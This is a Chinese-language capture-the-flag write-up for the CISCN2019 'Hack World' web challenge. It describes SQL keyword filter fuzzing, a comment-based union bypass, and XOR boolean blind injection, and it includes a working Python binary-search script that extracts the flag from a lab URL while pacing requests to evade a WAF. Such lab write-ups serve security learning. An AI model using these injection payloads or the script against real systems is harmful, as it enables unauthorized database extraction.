[CISCN2019 华北赛区 Day2 Web1]Hack World

1.测试过滤

我想到到了:

  • 联合注入:unin被过滤
  • 报错注入:and、or、updatexml被过滤
  • bool注入和time注入:and、or被过滤
    可以通过fuzz测试(模糊测试),发现哪些字符被过滤了。length为482的,全都是被过滤的。
    [CISCN2019 华北赛区 Day2 Web1]Hack World_第1张图片然后就在网上学了一些技巧:
    利用/*!union*/可以绕过对union的过滤,虽然这题不能用,但是记一下吧。

2.异或

这东西和那个堆叠注入一样,就见过一次,从此再也没用过,但这次就用到了。用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。

3.应用

就下来就时很容易的bool注入了。开始前确定注入类型,尝试1’'1查询失败,说明不是单引号,双引号又被过滤了,那就试试字符型,发现可以。但是在构造的过程中,我发现()不给把select和from给括住,如果这样的话,就会报错,不知道为什么?求解!还有就是有人说这东西有waf,不能太快访问,所以要注意脚本的访问节奏。我是访问几次,就不让访问了,所以脚本跑了好几次,每次从上次结束的地方开始。
垃圾二分脚本:

import requests
import time

url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		html = requests.post(url,data=payload)
		print(payload)
		if "Hello" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

你可能感兴趣的:(CTF)